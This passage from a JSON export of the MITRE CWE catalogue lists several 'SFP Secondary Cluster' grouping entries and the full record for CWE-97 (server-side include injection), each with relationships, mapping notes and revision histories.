this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "975", "@Name": "SFP Secondary Cluster: Architecture", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Architecture cluster.", "Relationships": {"Has_Member": [{"@CWE_ID": "348", "@View_ID": "888"}, {"@CWE_ID": "359", "@View_ID": "888"}, {"@CWE_ID": "602", "@View_ID": "888"}, {"@CWE_ID": "637", "@View_ID": "888"}, {"@CWE_ID": "649", "@View_ID": "888"}, {"@CWE_ID": "654", "@View_ID": "888"}, {"@CWE_ID": "656", "@View_ID": "888"}, {"@CWE_ID": "657", "@View_ID": "888"}, {"@CWE_ID": "671", "@View_ID": "888"}, {"@CWE_ID": "693", "@View_ID": "888"}, {"@CWE_ID": "749", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "974", "@Name": "SFP Secondary Cluster: Incorrect Buffer Length Computation", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Incorrect Buffer Length Computation cluster (SFP10).", "Relationships": {"Has_Member": [{"@CWE_ID": "131", "@View_ID": "888"}, {"@CWE_ID": "135", "@View_ID": "888"}, {"@CWE_ID": "251", "@View_ID": "888"}, {"@CWE_ID": "467", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Description, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "973", "@Name": "SFP Secondary Cluster: Improper NULL Termination", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Improper NULL Termination cluster (SFP11).", "Relationships": {"Has_Member": {"@CWE_ID": "170", "@View_ID": "888"}}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Description"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "972", "@Name": "SFP Secondary Cluster: Faulty String Expansion", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Faulty String Expansion cluster (SFP9).", "Relationships": {"Has_Member": {"@CWE_ID": "785", "@View_ID": "888"}}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Description"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "971", "@Name": "SFP Secondary Cluster: Faulty Pointer Use", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Faulty Pointer Use cluster (SFP7).", "Relationships": {"Has_Member": [{"@CWE_ID": "469", "@View_ID": "888"}, {"@CWE_ID": "476", "@View_ID": "888"}, {"@CWE_ID": "588", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Description, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2022-10-13", "Modification_Version": "4.9", "Modification_ReleaseDate": "2022-10-13", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "970", "@Name": "SFP Secondary Cluster: Faulty Buffer Access", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Faulty Buffer Access cluster (SFP8).", "Relationships": {"Has_Member": [{"@CWE_ID": "118", "@View_ID": "888"}, {"@CWE_ID": "119", "@View_ID": "888"}, {"@CWE_ID": "120", "@View_ID": "888"}, {"@CWE_ID": "121", "@View_ID": "888"}, {"@CWE_ID": "122", "@View_ID": "888"}, {"@CWE_ID": "123", "@View_ID": "888"}, {"@CWE_ID": "124", "@View_ID": "888"}, {"@CWE_ID": "125", "@View_ID": "888"}, {"@CWE_ID": "126", "@View_ID": "888"}, {"@CWE_ID": "127", "@View_ID": "888"}, {"@CWE_ID": "129", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Description, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2022-10-13", "Modification_Version": "4.9", "Modification_ReleaseDate": "2022-10-13", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "97", "@Name": "Improper Neutralization of Server-Side Includes (SSI) Within a Web Page", "@Abstraction": "Variant", "@Structure": "Simple", "@Status": "Draft", "Description": "The product generates a web page, but does not neutralize or incorrectly neutralizes user-controllable input that could be interpreted as a server-side include (SSI) directive.", "Related_Weaknesses": {"Related_Weakness": [{"@Nature": "ChildOf", "@CWE_ID": "96", "@View_ID": "1000", "@Ordinal": "Primary"}]}, "Weakness_Ordinalities": {"Weakness_Ordinality": {"Ordinality": "Primary"}}, "Applicable_Platforms": {"Language": {"@Class": "Not Language-Specific", "@Prevalence": "Undetermined"}, "Technology": [{"@Class": "Web Based", "@Prevalence": "Undetermined"}, {"@Name": "Web Server", "@Prevalence": "Undetermined"}]}, "Modes_Of_Introduction": {"Introduction": {"Phase": "Implementation", "Note": "REALIZATION: This weakness is caused during implementation of an architectural security tactic."}}, "Common_Consequences": {"Consequence": {"Scope": ["Confidentiality", "Integrity", "Availability"], "Impact": "Execute Unauthorized Code or Commands"}}, "Detection_Methods": {"Detection_Method": {"@Detection_Method_ID": "DM-14", "Method": "Automated Static Analysis", "Description": "Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect \"sources\" (origins of input) with \"sinks\" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)"}}, "Taxonomy_Mappings": {"Taxonomy_Mapping": [{"@Taxonomy_Name": "PLOVER", "Entry_Name": "Server-Side Includes (SSI) Injection"}, {"@Taxonomy_Name": "WASC", "Entry_ID": "36", "Entry_Name": "SSI Injection"}]}, "Related_Attack_Patterns": {"Related_Attack_Pattern": [{"@CAPEC_ID": "101"}, {"@CAPEC_ID": "35"}]}, "Mapping_Notes": {"Usage": "Allowed", "Rationale": "This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.", "Comments": "Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.", "Reasons": {"Reason": {"@Type": "Acceptable-Use"}}}, "Notes": {"Note": {"@Type": "Relationship", "#text": "This can be resultant from XSS/HTML injection because the same special characters can be involved. However, this is server-side code execution, not client-side."}}, "Content_History": {"Submission": {"Submission_Name": "PLOVER", "Submission_Date": "2006-07-19", "Submission_Version": "Draft 3", "Submission_ReleaseDate": "2006-07-19"}, "Modification": [{"Modification_Name": "Eric Dalci", "Modification_Organization": "Cigital", "Modification_Date": "2008-07-01", "Modification_Version": "1.0", "Modification_ReleaseDate": "2008-09-09", "Modification_Comment": "updated Time_of_Introduction"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2008-09-08", "Modification_Version": "1.0", "Modification_ReleaseDate": "2008-09-09", "Modification_Comment": "updated Relationships, Other_Notes, Taxonomy_Mappings"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2009-10-29", "Modification_Version": "1.6", "Modification_ReleaseDate": "2009-10-29", "Modification_Comment": "updated Other_Notes, Relationship_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2010-02-16", "Modification_Version": "1.8", "Modification_ReleaseDate": "2010-02-16", "Modification_Comment": "updated Taxonomy_Mappings"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2010-06-21", "Modification_Version": "1.9", "Modification_ReleaseDate": "2010-06-21", "Modification_Comment": "updated Description, Name, Type"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2011-06-01", "Modification_Version": "1.13", "Modification_ReleaseDate": "2011-06-01", "Modification_Comment": "updated Common_Consequences"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2012-05-11", "Modification_Version": "2.2", "Modification_ReleaseDate": "2012-05-15", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2014-07-30", "Modification_Version": "2.8", "Modification_ReleaseDate": "2014-07-31", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2017-05-03", "Modification_Version": "2.11", "Modification_ReleaseDate": "2017-05-05", "Modification_Comment": "updated Potential_Mitigations"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2017-11-08", "Modification_Version": "3.0", "Modification_ReleaseDate": "2017-11-08", "Modification_Comment": "updated Applicable_Platforms, Modes_of_Introduction, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Potential_Mitigations, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2021-10-28", "Modification_Version": "4.6", "Modification_ReleaseDate": "2021-10-28", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-01-31", "Modification_Version": "4.10", "Modification_ReleaseDate": "2023-01-31", "Modification_Comment": "updated Description"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Relationships, Time_of_Introduction"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-12-11", "Modification_Version": "4.19", "Modification_ReleaseDate": "2025-12-11", "Modification_Comment": "updated Applicable_Platforms, Relationships, Weakness_Ordinalities"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Detection_Factors"}], "Previous_Entry_Name": [{"@Date": "2008-04-11", "#text": "Server-Side Includes (SSI) Injection"}, {"@Date": "2010-06-21", "#text": "Failure to Sanitize Server-Side Includes (SSI) Within a Web Page"}]}, "entry_type": "Weakness", "ranking": 11.0}, {"@ID": "969", "@Name": "SFP Secondary Cluster: Faulty Memory Release", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Faulty Memory Release cluster (SFP12).", "Relationships": {"Has_Member": [{"@CWE_ID": "415", "@View_ID": "888"}, {"@CWE_ID": "590", "@View_ID": "888"}, {"@CWE_ID": "761", "@View_ID": "888"}, {"@CWE_ID": "763", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Description"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2021-03-15", "Modification_Version": "4.4", "Modification_ReleaseDate": "2021-03-15", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "968", "@Name": "SFP Secondary Cluster: Covert Channel", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Covert Channel cluster.", "Relationships": {"Has_Member": [{"@CWE_ID": "385", "@View_ID": "888"}, {"@CWE_ID": "514", "@View_ID": "888"}, {"@CWE_ID": "515", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "967", "@Name": "SFP Secondary Cluster: State Disclosure", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the State Disclosure cluster.", "Relationships": {"Has_Member": [{"@CWE_ID": "202", "@View_ID": "888"}, {"@CWE_ID": "203", "@View_ID": "888"}, {"@CWE_ID": "204", "@View_ID": "888"}, {"@CWE_ID": "205", "@View_ID": "888"}, {"@CWE_ID": "206", "@View_ID": "888"}, {"@CWE_ID": "207", "@View_ID": "888"}, {"@CWE_ID": "208", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "966", "@Name": "SFP Secondary Cluster: Other Exposures", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Other Exposures cluster.", "Relationships": {"Has_Member": [{"@CWE_ID": "453", "@View_ID": "888"}, {"@CWE_ID": "487", "@View_ID": "888"}, {"@CWE_ID": "492", "@View_ID": "888"}, {"@CWE_ID": "525", "@View_ID": "888"}, {"@CWE_ID": "614", "@View_ID": "888"}, {"@CWE_ID": "651", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2017-11-08", "Modification_Version": "3.0", "Modification_ReleaseDate": "2017-11-08", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "965", "@Name": "SFP Secondary Cluster: Insecure Session Management", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Insecure Session Management cluster.", "Relationships": {"Has_Member": [{"@CWE_ID": "488", "@View_ID": "888"}, {"@CWE_ID": "524", "@View_ID": "888"}, {"@CWE_ID": "6", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "964", "@Name": "SFP Secondary Cluster: Exposure Temporary File", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Exposure Temporary File cluster.", "Relationships": {"Has_Member": [{"@CWE_ID": "377", "@View_ID": "888"}, {"@CWE_ID": "378", "@View_ID": "888"}, {"@CWE_ID": "379", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "963", "@Name": "SFP Secondary Cluster: Exposed Data", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Exposed Data cluster (SFP23).", "Relationships": {"Has_Member": [{"@CWE_ID": "11", "@View_ID": "888"}, {"@CWE_ID": "117", "@View_ID": "888"}, {"@CWE_ID": "12", "@View_ID": "888"}, {"@CWE_ID": "13", "@View_ID": "888"}, {"@CWE_ID": "14", "@View_ID": "888"}, {"@CWE_ID": "200", 